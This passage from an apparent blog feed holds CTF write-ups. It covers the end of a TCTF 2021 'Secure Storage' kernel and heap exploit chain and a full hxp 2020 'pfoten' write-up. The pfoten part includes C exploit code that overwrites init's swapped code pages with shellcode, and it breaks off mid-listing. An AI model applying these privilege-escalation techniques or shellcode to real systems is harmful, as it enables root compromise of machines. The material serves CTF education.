highlighter-rouge">sub_90</code> to be called when handling page fault, otherwise the latency might be insignificant. This is the case if we separate name registration and kick comparison into different process instances.</p> <p>The full exploit is <a href="https://github.com/Mem2019/Mem2019.github.io/blob/master/codes/SecureStorage/exp.c">here</a>.</p> <h2 id="0x03-exploit-ss_agent">0x03 Exploit <code class="language-plaintext highlighter-rouge">ss_agent</code></h2> <p>As I briefly mentioned above, there is a double free bug in <code class="language-plaintext highlighter-rouge">ss_agent</code>. Trying the double free for small-size chunk, we found that there is no crash, and there is <code class="language-plaintext highlighter-rouge">tcache</code> string in the binary, so I would say the static binary is generated using possibly <code class="language-plaintext highlighter-rouge">libc-2.27</code>. Knowing this, we can write exploit like a normal menu challenge:</p> <ol> <li>Trigger double free to poison <code class="language-plaintext highlighter-rouge">tcache</code>, so we can leak heap address.</li> <li>By debugging, we found that some program data addresses are stored in heap section; although I am not sure why, program address can be leaked by allocating chunk at that region.</li> <li>There is also a stack address stored in heap section, so we can leak it in the same way as step 2.</li> <li>Allocate a chunk at stack, so we can write ROP, which means <code class="language-plaintext highlighter-rouge">ss_agent</code> has already been compromised.</li> </ol> <p>Instead of using <code class="language-plaintext highlighter-rouge">pwntools</code>, I used C for this part again, because I found that sending binary data via <code class="language-plaintext highlighter-rouge">qemu</code> interface causes problem.</p> <p>To debug this binary, I patched it so that only heap operations remain. Thus we can run it without <code class="language-plaintext highlighter-rouge">/dev/ss</code>. This makes debugging much more convenient since we don’t need to deal with kernel stuff anymore.</p> <p>The full exploit is <a href="https://github.com/Mem2019/Mem2019.github.io/blob/master/codes/SecureStorage/exp2.c">here</a>.</p> <p>Initially I thought I could have root once <code class="language-plaintext highlighter-rouge">ss_agent</code> is compromised, because it has a <code class="language-plaintext highlighter-rouge">setgid</code> being set. However, this is wrong. The access permission of <code class="language-plaintext highlighter-rouge">/challenge/ss_agent</code> is <code class="language-plaintext highlighter-rouge">-rwxr-sr-x</code> and access permission of <code class="language-plaintext highlighter-rouge">/dev/ss</code> is <code class="language-plaintext highlighter-rouge">crw-rw----</code>. Therefore, although <code class="language-plaintext highlighter-rouge">ss_agent</code> can access <code class="language-plaintext highlighter-rouge">/dev/ss</code>, it does not run in root; instead, it runs in the group of root; and such group privilege even does not persist after an <code class="language-plaintext highlighter-rouge">execve</code> system call.</p> <p>However, we need to run arbitrary code that can operate on <code class="language-plaintext highlighter-rouge">/dev/ss</code> in order to exploit <code class="language-plaintext highlighter-rouge">ss.ko</code>. I came up with 2 approaches:</p> <ol> <li>Compile the exploit into shellcode, and run the shellcode in <code class="language-plaintext highlighter-rouge">/challenge/ss_agent</code> process to get the root shell; however, this is quite complicated to do.</li> <li>Open <code class="language-plaintext highlighter-rouge">/dev/ss</code> in ROP chain, and <code class="language-plaintext highlighter-rouge">execve</code> to our exploit; these opened file descriptors will remain valid after <code class="language-plaintext highlighter-rouge">execve</code>; thus we can operate on <code class="language-plaintext highlighter-rouge">/dev/ss</code> even if we don’t have permission to open it.</li> </ol> <p>Obviously, the second one is more convenient for us.</p> <h2 id="0x04-exploit-ssko">0x04 Exploit <code class="language-plaintext highlighter-rouge">ss.ko</code></h2> <p>Now we come back to <code class="language-plaintext highlighter-rouge">ss.ko</code> in order to get root shell. The bug is in page fault handler: <code class="language-plaintext highlighter-rouge">v2 &lt;= 0xFFFF</code> is a signed comparison; if <code class="language-plaintext highlighter-rouge">v2</code> is negative, we can pass the check and map unintended page into user space. Since <code class="language-plaintext highlighter-rouge">v2</code> is a 32-bit signed integer, we can call <code class="language-plaintext highlighter-rouge">mmap</code> with size <code class="language-plaintext highlighter-rouge">0x100000000</code>, and access the last few pages to make <code class="language-plaintext highlighter-rouge">v2 = -0x1000 * n</code>. It turns out <code class="language-plaintext highlighter-rouge">returned_vpage</code> will be page before <code class="language-plaintext highlighter-rouge">mmap_buffer</code>.</p> <p>In addition, to prevent <code class="language-plaintext highlighter-rouge">sub_90</code> from being called, we need to ensure <code class="language-plaintext highlighter-rouge">_bittest</code> to return 1. Fortunately, the bitmap is behind <code class="language-plaintext highlighter-rouge">mmap_buffer</code> exactly, so if we set the last page of <code class="language-plaintext highlighter-rouge">mmap_buffer</code> to <code class="language-plaintext highlighter-rouge">0xff</code>, <code class="language-plaintext highlighter-rouge">_bittest</code> can always return 1 for small negative index.</p> <p>By debugging, we found there are many useful leaks in the pages before <code class="language-plaintext highlighter-rouge">mmap_buffer</code>: we can leak the Linux kernel address and <code class="language-plaintext highlighter-rouge">ss.ko</code> address easily.</p> <p>I have come up with 4 approaches for exploitation, but finally only the last one works:</p> <ol> <li>Map kernel heap into user space; however, heap is too far from <code class="language-plaintext highlighter-rouge">ss.ko</code>: heap address is usually <code class="language-plaintext highlighter-rouge">0xffffxxxxxxxxxxxx</code> but <code class="language-plaintext highlighter-rouge">ss.ko</code> address is <code class="language-plaintext highlighter-rouge">0xffffffffxxxxxxxx</code>, so we cannot reach heap in 32 bits.</li> <li>Map page that stores <code class="language-plaintext highlighter-rouge">modprobe</code> path into user space; however, when calling <code class="language-plaintext highlighter-rouge">vmalloc_to_page</code> on that page, the function returns <code class="language-plaintext highlighter-rouge">NULL</code>. I think the reason is probably that this function can convert virtual address to physical address only if this virtual address is allocated via <code class="language-plaintext highlighter-rouge">vmalloc</code>, and that page does not satisfy this condition.</li> <li>Change the function pointer at <code class="language-plaintext highlighter-rouge">0x1600</code> to hijack kernel rip. We can do this because when we call <code class="language-plaintext highlighter-rouge">mmap</code>, the function here will be registered as page fault handler. However, we can do nothing after controlling <code class="language-plaintext highlighter-rouge">rip</code>, since <code class="language-plaintext highlighter-rouge">smep</code> is enabled.</li> <li>Map code page of <code class="language-plaintext highlighter-rouge">ss.ko</code> into user space and write shellcode into kernel directly. Yes! We can do this! Although code page in kernel is not writable, this is not the case after we map it into user space. Therefore, what I did is rewriting code of <code class="language-plaintext highlighter-rouge">mmap</code> handler in kernel into <code class="language-plaintext highlighter-rouge">commit_creds(prepare_kernel_cred(0))</code>, so that we can get root privilege after <code class="language-plaintext highlighter-rouge">mmap</code> is called.</li> </ol> <p>The full exploit is <a href="https://github.com/Mem2019/Mem2019.github.io/blob/master/codes/SecureStorage/exp3.c">here</a>.</p> <h2 id="0x05-conclusion">0x05 Conclusion</h2> <p>This nested challenge is really complicated, but I have learned a lot from it. In addition, I think it is better to put one flag at each stage, instead of one flag for the whole exploit chain.</p> Tue, 06 Jul 2021 00:00:00 +0000 https://mem2019.github.io/jekyll/update/2021/07/06/TCTF2021-Secure-Storage.html https://mem2019.github.io/jekyll/update/2021/07/06/TCTF2021-Secure-Storage.html jekyll update hxp CTF 2020 pfoten <h2 id="0x00-overview">0x00 Overview</h2> <p>Last weekend I have played hxp 2020 as r3kapig. The challenges are very good. I have solved 3 challenges: <code class="language-plaintext highlighter-rouge">Secure Program Config</code>, <code class="language-plaintext highlighter-rouge">still-printf</code> and <code class="language-plaintext highlighter-rouge">pfoten</code>. Among these challenges, I think <code class="language-plaintext highlighter-rouge">pfoten</code> is quite worthy to do a full write-up. The challenge creates a file as <em>swap space</em>, so that some of the memory will be putted into this file when physical memory is not enough and will be then fetched from this file when being used again. The problem is this file is writable by any user. Therefore, when privileged memory like code of a root process is putted into this swap space, we can actually tamper it to our shellcode, so when it is executed again, we can execute arbitrary code in root privilege.</p> <h2 id="0x01-vulnerability">0x01 Vulnerability</h2> <p>Reading <code class="language-plaintext highlighter-rouge">rcS</code> file, we can see following code, which is related to the challenge.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">dd </span><span class="k">if</span><span class="o">=</span>/dev/zero <span class="nv">bs</span><span class="o">=</span>1M <span class="nv">count</span><span class="o">=</span>10 <span class="nv">of</span><span class="o">=</span>/swap <span class="nv">status</span><span class="o">=</span>none <span class="c"># create a 10M file /swap with content zeros</span> losetup /dev/loop0 /swap <span class="c"># https://linux.die.net/man/8/losetup</span> <span class="c"># set /swap as loop device /dev/loop0</span> <span class="c"># in order to use /swap as swap space</span> mkswap /dev/loop0 <span class="o">&gt;</span>/dev/null swapon /dev/loop0 <span class="o">&gt;</span>/dev/null <span class="c"># https://man7.org/linux/man-pages/man8/mkswap.8.html</span> <span class="c"># set /dev/loop0 as *swap space*</span> <span class="c"># so file /swap is *swap space* now</span> </code></pre></div></div> <p>However, file <code class="language-plaintext highlighter-rouge">/swap</code> is writable by any user.</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-rw-rw-rw- 1 0 0 10485760 Dec 21 08:10 swap </code></pre></div></div> <h2 id="0x02-proof-of-concept">0x02 Proof of Concept</h2> <p>In order to prove my idea, I have written following PoC to see what will be putted into <code class="language-plaintext highlighter-rouge">/swap</code> file.</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp"> #include</span> <span class="cpf">&lt;memory.h&gt;</span><span class="cp"> #include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp"> #include</span> <span class="cpf">&lt;sys/mman.h&gt;</span><span class="cp"> </span> <span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="k">const</span> <span class="o">*</span><span class="n">argv</span><span class="p">[])</span> <span class="p">{</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="p">;</span> <span class="o">++</span><span class="n">i</span><span class="p">)</span> <span class="p">{</span> <span class="kt">char</span><span class="o">*</span> <span class="n">buffer</span> <span class="o">=</span> <span class="n">mmap</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="mi">1024</span><span class="o">*</span><span class="mi">1024</span><span class="p">,</span> <span class="n">PROT_READ</span> <span class="o">|</span> <span class="n">PROT_WRITE</span><span class="p">,</span> <span class="n">MAP_SHARED</span> <span class="o">|</span> <span class="n">MAP_ANONYMOUS</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span> <span class="n">memset</span><span class="p">(</span><span class="n">buffer</span><span class="p">,</span> <span class="sc">'A'</span><span class="p">,</span> <span class="mi">1024</span><span class="o">*</span><span class="mi">1024</span><span class="p">);</span> <span class="n">printf</span><span class="p">(</span><span class="s">"%d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">i</span><span class="p">);</span> <span class="n">system</span><span class="p">(</span><span class="s">"strings /swap"</span><span class="p">);</span> <span class="p">}</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <p>After a few iterations, we can see many interesting outputs from <code class="language-plaintext highlighter-rouge">strings</code> command, and some of the strings come from the <code class="language-plaintext highlighter-rouge">busybox</code> binary, so my idea is confirmed: <code class="language-plaintext highlighter-rouge">/swap</code> will indeed be used to store virtual memory content at disk.</p> <h2 id="0x03-exploitation">0x03 Exploitation</h2> <p>I have come up with several exploitation ideas:</p> <ol> <li>Store kernel heap memory into <code class="language-plaintext highlighter-rouge">/swap</code>, and rewrite <code class="language-plaintext highlighter-rouge">cred</code> structure to escalate privilege of our process.</li> <li>Store kernel code into <code class="language-plaintext highlighter-rouge">/swap</code>, and modify these code to privilege escalating shellcode, and call these code in our process. (e.g. some <code class="language-plaintext highlighter-rouge">ioctl</code> handler in kernel)</li> <li>Store code of <code class="language-plaintext highlighter-rouge">init</code> process (which is a root process) into <code class="language-plaintext highlighter-rouge">/swap</code>, and rewrite them to shellcode.</li> </ol> <p>However, the data to be stored into <code class="language-plaintext highlighter-rouge">/swap</code> have to meet some requirements:</p> <ol> <li>It cannot be used when our exploit is running, because Linux only stores infrequently used memory into disk.</li> <li>It can be used after the content is tampered, otherwise modifying it cannot cause any effect.</li> </ol> <p>Intuitively, kernel heap should be quite frequently-used, so I would guess that first idea might not work properly. I have not tried the second idea but the third one.</p> <p>I have already seen <code class="language-plaintext highlighter-rouge">busybox</code> strings in PoC outputs, and that means we can already dump process memory of this ELF executable file into <code class="language-plaintext highlighter-rouge">/swap</code>. Note that all utilities like <code class="language-plaintext highlighter-rouge">/init</code> in this kernel image is linking to the <code class="language-plaintext highlighter-rouge">/bin/busybox</code>, and we also know that Linux will share read-only memory pages to same physical memory among all processes of same ELF file in order to save physical memory (e.i. <code class="language-plaintext highlighter-rouge">r-x</code> page of <code class="language-plaintext highlighter-rouge">sh</code> and <code class="language-plaintext highlighter-rouge">init</code> are shared). Thus, we can conclude we already have the ability to modify <code class="language-plaintext highlighter-rouge">r-x</code> page contents in <code class="language-plaintext highlighter-rouge">init</code> process. Therefore, I tried the third idea first and solved the challenge.</p> <p>Then next question is what to write. The idea is to search binary sequences using <code class="language-plaintext highlighter-rouge">memmem</code> in <code class="language-plaintext highlighter-rouge">/swap</code>, and replace that sequences to our shellcode. Such sequences can be found by putting <code class="language-plaintext highlighter-rouge">busybox</code> binary into IDA.</p> <p>Firstly, since <code class="language-plaintext highlighter-rouge">init</code> run commands in <code class="language-plaintext highlighter-rouge">inittab</code> and it should wait until <code class="language-plaintext highlighter-rouge">sh</code> exits, I may search and modify code around https://github.com/mirror/busybox/blob/master/init/init.c#L594 to modify the code that will be executed after <code class="language-plaintext highlighter-rouge">sh</code> exits. However, I failed to find such code in <code class="language-plaintext highlighter-rouge">/swap</code>. I guess maybe that page is used frequently when our exploit runs(?). Then I found a function where <code class="language-plaintext highlighter-rouge">busybox</code> call <code class="language-plaintext highlighter-rouge">SYS_exit</code>, with sequences <code class="language-plaintext highlighter-rouge">48 63 FF B8 E7 00 00 00 0F 05 BA 3C 00 00 00</code>. I then modified the contents into <code class="language-plaintext highlighter-rouge">0x100</code> bytes of <code class="language-plaintext highlighter-rouge">\xcc</code>. This time kernel panic raises with message saying <code class="language-plaintext highlighter-rouge">Code: cc cc cc ...</code>.</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[ 64.302748] RIP: 0033:0x4d12a7 [ 64.303098] Code: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc &lt;cc&gt;c [ 64.303680] RSP: 002b:00007ffe2c26b998 EFLAGS: 00000246 </code></pre></div></div> <p>Nice! That means our shellcode is executed by <code class="language-plaintext highlighter-rouge">init</code> process! However, I admit this is quite accidental, because according to <code class="language-plaintext highlighter-rouge">rip</code> value shown in error message, it is the function after the <code class="language-plaintext highlighter-rouge">SYS_exit</code> function that is executed by <code class="language-plaintext highlighter-rouge">init</code> instead of the exit function in my original thought. After some trying, I found the first instruction being executed is <code class="language-plaintext highlighter-rouge">0x4d12a6</code>, which suggests <code class="language-plaintext highlighter-rouge">init</code> is just returning from a <code class="language-plaintext highlighter-rouge">syscall</code> at <code class="language-plaintext highlighter-rouge">0x4d12a4</code> before executing the tampered code. Nonetheless, we can actually execute code in <code class="language-plaintext highlighter-rouge">init</code> process! Firstly I tried <code class="language-plaintext highlighter-rouge">execve("/bin/sh", NULL, NULL)</code>, but that also causes panic in <code class="language-plaintext highlighter-rouge">sh</code>. I guess the reason is <code class="language-plaintext highlighter-rouge">/bin/sh</code> also links to <code class="language-plaintext highlighter-rouge">/bin/busybox</code>, which is already tampered by us. Thus secondly I tried to write shellcode that open and read <code class="language-plaintext highlighter-rouge">/dev/fd0</code> (e.i. <code class="language-plaintext highlighter-rouge">flag.txt</code>), and write its content to <code class="language-plaintext highlighter-rouge">stdout</code>. This time it works locally! Although we may need to run it several times to find the binary sequences, probably because there is some probability for Linux to store that code into <code class="language-plaintext highlighter-rouge">/swap</code>.</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>544 found!!! ... hxp{test} </code></pre></div></div> <h2 id="0x04-remote-environment">0x04 Remote Environment</h2> <p>However, the exploit does not work properly remotely: it encounters <code class="language-plaintext highlighter-rouge">EOF</code> at around 400+ iterations. Initially I thought it is because when process is out-of-memory, whole kernel is killed instead of that one process, unlike local environment. But even if I <code class="language-plaintext highlighter-rouge">munmap</code> the pages, it still encounters <code class="language-plaintext highlighter-rouge">EOF</code> at around same number of iterations. And even if I decreases the size of <code class="language-plaintext highlighter-rouge">mmap</code>, it still encounters <code class="language-plaintext highlighter-rouge">EOF</code> at same iteration. This is weird. Finally I tried to increase the size of <code class="language-plaintext highlighter-rouge">mmap</code> to <code class="language-plaintext highlighter-rouge">0x100000</code>, and this time I got the flag at last 2 minutes of the CTF.</p> <p>Nonetheless, I still have no idea why such <code class="language-plaintext highlighter-rouge">EOF</code> occurs.</p> <p>The final exploit is shown below:</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define _GNU_SOURCE #include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp"> #include</span> <span class="cpf">&lt;memory.h&gt;</span><span class="cp"> #include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp"> #include</span> <span class="cpf">&lt;assert.h&gt;</span><span class="cp"> #include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp"> #include</span> <span class="cpf">&lt;stdbool.h&gt;</span><span class="cp"> #include</span> <span class="cpf">&lt;sys/mman.h&gt;</span><span class="cp"> </span> <span class="cp">#define SWAP_SIZE 0xa00000 </span><span class="c1">// #define NEEDLE "\xE8\xD9\xFE\xFF\xFF\xF6\x43\x0C\x63"</span> <span class="c1">// #define NEEDLE "\x48\xC7\x05\xBD\x00\x30\x00\x43"</span> <span class="k">const</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">NEEDLE</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x63</span><span class="p">,</span><span class="mh">0xFF</span><span class="p">,</span><span class="mh">0xB8</span><span class="p">,</span><span class="mh">0xE7</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x0F</span><span class="p">,</span><span class="mh">0x05</span><span class="p">,</span><span class="mh">0xBA</span><span class="p">,</span><span class="mh">0x3C</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">};</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">swap</span><span class="p">[</span><span class="n">SWAP_SIZE</span><span class="p">];</span> <span class="kt">void</span> <span class="nf">read_all</span><span class="p">(</span><span class="kt">FILE</span><span class="o">*</span> <span class="n">f</span><span class="p">)</span> <span class="p">{</span> <span class="kt">size_t</span> <span class="n">already</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="k">while</span> <span class="p">(</span><span class="nb">true</span><span class="p">)</span> <span class="p">{</span> <span class="kt">size_t</span> <span class="n">res</span> <span class="o">=</span> <span class="n">fread</span><span class="p">(</span><span class="n">swap</span> <span class="o">+</span> <span class="n">already</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="n">SWAP_SIZE</span> <span class="o">-</span> <span class="n">already</span><span class="p">,</span> <span class="n">f</span><span class="p">);</span> <span class="c1">// printf("res=%lu\n", res);</span> <span class="k">if</span> <span class="p">(</span><span class="n">res</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> <span class="n">assert</span><span class="p">(</span><span class="n">already</span> <span class="o">==</span> <span class="n">SWAP_SIZE</span><span class="p">);</span> <span class="k">return</span><span class="p">;</span> <span class="p">}</span> <span class="n">already</span> <span class="o">+=</span> <span class="n">res</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> <span class="cp">#define BUFFERS_SIZE 0x80 #define PAGE_SIZE 0x100000 </span> <span class="kt">char</span><span class="o">*</span> <span class="n">buffers</span><span class="p">[</span><span class="n">BUFFERS_SIZE</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span> <span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="k">const</span> <span class="o">*</span><span class="n">argv</span><span class="p">[])</span> <span class="p">{</span> <span class="kt">size_t</span> <span class="n">count</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mh">0x1000</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span><span class="p">)</span> <span class="p">{</span> <span class="kt">char</span><span class="o">*</span> <span class="n">buffer</span> <span class="o">=</span> <span class="n">mmap</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="n">PAGE_SIZE</span><span class="p">,</span> <span class="n">PROT_READ</span> <span class="o">|</span> <span class="n">PROT_WRITE</span><span class="p">,</span> <span class="n">MAP_SHARED</span> <span class="o">|</span> <span class="n">MAP_ANONYMOUS</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="n">count</span> <span class="o">&lt;</span> <span class="n">BUFFERS_SIZE</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// record into array</span> <span class="n">buffers</span><span class="p">[</span><span class="n">count</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">buffer</span><span class="p">;</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="c1">// if full, clear array</span> <span class="n">printf</span><span class="p">(</span><span class="s">"clear</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">j</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">j</span> <span class="o">&lt;</span> <span class="n">BUFFERS_SIZE</span><span class="p">;</span> <span class="o">++</span><span class="n">j</span><span class="p">)</span> <span class="p">{</span> <span class="n">munmap</span><span class="p">(</span><span class="n">buffers</span><span class="p">[</span><span class="n">j</span><span class="p">],</span> <span class="n">PAGE_SIZE</span><span class="p">);</span> <span class="p">}</span> <span class="n">count</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span> <span class="n">memset</span><span class="p">(</span><span class="n">buffer</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">PAGE_SIZE</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="n">i</span> <span class="o">%</span> <span class="mi">100</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="n">printf</span><span class="p">(</span><span class="s">"%d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">i</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="n">buffer</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="kt">FILE</span><span class="o">*</span> <span class="n">f</span> <span class="o">=</span> <span class="n">fopen</span><span class="p">(</span><span class="s">"/swap"</span><span class="p">,</span> <span class="s">"rb+"</span><span class="p">);</span> <span class="n">assert</span><span class="p">(</span><span class="n">f</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">);</span> <span class="n">read_all</span><span class="p">(</span><span class="n">f</span><span class="p">);</span> <span class="kt">unsigned</span> <span class="kt">char</span><span class="o">*</span> <span class="n">res</span> <span class="o">=</span> <span class="n">memmem</span><span class="p">(</span><span class="n">swap</span><span class="p">,</span> <span class="n">SWAP_SIZE</span><span class="p">,</span> <span class="n">NEEDLE</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">NEEDLE</span><span class="p">));</span> <span class="k">if</span> <span class="p">(</span><span class="n">res</span><span class="p">)</span> <span class="p">{</span> <span class="kt">size_t</span> <span class="n">off</span> <span class="o">=</span> <span class="n">res</span> <span class="o">-</span> <span class="n">swap</span><span class="p">;</span> <span class="n">fseek</span><span class="p">(</span><span class="n">f</span><span class="p">,</span> <span class="n">off</span><span class="p">,</span> <span class="n">SEEK_SET</span><span class="p">);</span> <span class="c1">// char sc[] = "H\xb8/bin/sh\x00PH\x89\xe7H1\xf6H1\xd2j;X\x0f\x05";</span> <span class="c1">// unsigned char sc[] = "j\x01\xfe\x0c$H\xb8/dev/fd0PH\x89\xe71\xd21\xf6j\x02X\x0f\x05H\x81\xec\x00\x01\x00\x00H\x89\xc71\xc01\xd2\xb6\x01H\x89\xe6\x0f\x05j\x01_1\xd2\xb6\x01H\x89\xe6j\x01X\x0f\x05";</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">sc</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x6a</span><span class="p">,</span> <span class="mh">0x1</span><span class="p">,</span> <span class="mh">0xfe</span><span class="p">,</span> <span class="mh">0xc</span><span class="p">,</span> <span class="mh">0x24</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xb8</span><span class="p">,</span> <span class="mh">0x2f</span><span class="p">,</span> <span class="mh">0x64</span><span class="p">,</span> <span class="mh">0x65</span><span class="p">,</span> <span class="mh">0x76</span><span class="p">,</span> <span class="mh">0x2f</span><span class="p">,</span> <span class="mh">0x66</span><span class="p">,</span> <span class="mh">0x64</span><span class="p">,</span> <span class="mh">0x30</span><span class="p">,</span> <span class="mh">0x50</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xe7</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xd2</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xf6</span><span class="p">,</span> <span class="mh">0x6a</span><span class="p">,</span> <span class="mh">0x2</span><span class="p">,</span> <span class="mh">0x58</span><span class="p">,</span> <span class="mh">0xf</span><span class="p">,</span> <span class="mh">0x5</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x81</span><span class="p">,</span> <span class="mh">0xec</span><span class="p">,</span> <span class="mh">0x0</span><span class="p">,</span> <span class="mh">0x1</span><span class="p">,</span> <span class="mh">0x0</span><span class="p">,</span> <span class="mh">0x0</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xc7</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xc0</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xd2</span><span class="p">,</span> <span class="mh">0xb6</span><span class="p">,</span> <span class="mh">0x1</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xe6</span><span class="p">,</span> <span class="mh">0xf</span><span class="p">,</span> <span class="mh">0x5</span><span class="p">,</span> <span class="mh">0x6a</span><span class="p">,</span> <span class="mh">0x1</span><span class="p">,</span> <span class="mh">0x5f</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xd2</span><span class="p">,</span> <span class="mh">0xb6</span><span class="p">,</span> <span class="mh">0x1</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xe6</span><span class="p">,</span> <span class="mh">0x6a</span><span class="p">,</span> <span class="mh">0x1</span><span class="p">,</span> <span class="mh">0x58</span><span class="p">,</span> <span class="mh">0xf</span><span class="p">,</span> <span class="mh">0x5</span><span class="p">};</span> <span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mh">0x100</span><span class="p">];</span> <span class="n">memset</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="mh">0xcc</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">));</span> <span class="kt">size_t</span> <span class="n">sc_off</span> <span class="o">=</span> <span class="mh">0xa7</span> <span class="o">-</span> <span class="mh">0x77</span><span class="p">;</span> <span class="n">buf</span><span class="p">[</span><span class="n">sc_off</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x90</span><span class="p">;</span> <span class="k">for</span> <span class="p">(</span><span class="kt">size_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">sc</span><span class="p">);</span> <span class="o">++</span><span class="n">i</span><span class="p">)</span> <span class="p">{</span> <span class="n">buf</span><span class="p">[</span><span class="n">sc_off</span> <span class="o">+</span> <span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">sc</span><span class="p">[</span><span class="n">i</span><span class="p">];</span> <span class="n">assert</span><span class="p">(</span><span class="n">sc_off</span> <span class="o">+</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mh">0x100</span><span class="p">);</span> <span class="p">}</span> <span class="kt">size_t</span> <span class="n">res</span> <span class="o">=</span> <span class="n">fwrite</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">),</span> <span class="n">f</span><span class="p">);</span> <span class="n">assert</span><span class="p">(</span><span class="n">res</span> <span class="o">==</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">));</span> <span class="n">printf</span><span class="p">(</span><span class="s">"found!!!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span 